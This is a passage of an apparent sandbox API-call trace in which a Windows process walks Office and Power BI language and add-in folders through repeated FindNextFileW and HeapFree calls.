ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0233.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.099] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0233.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.104] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0233.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.108] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0233.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.118] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0233.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.122] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0233.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.127] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0233.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.131] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0233.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.582] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0233.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.585] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0233.588] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.588] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0233.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.594] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0233.598] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.598] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0233.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.601] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0233.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.609] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0233.612] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.612] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0233.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.617] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0233.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.620] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0233.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.624] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0233.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.627] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0233.722] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.722] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0233.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.750] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0233.775] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.775] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0233.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.817] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0233.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.822] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0233.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42047e0 | out: hHeap=0x670000) returned 1 [0233.826] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0233.826] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0233.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0233.828] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0234.454] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.454] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0234.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.464] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0234.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.469] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0234.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.474] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0234.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.478] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0234.773] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.773] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0234.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.782] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0234.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.788] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0234.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.790] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0234.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.797] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0234.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.804] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0234.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.814] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0234.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.821] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0234.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.833] 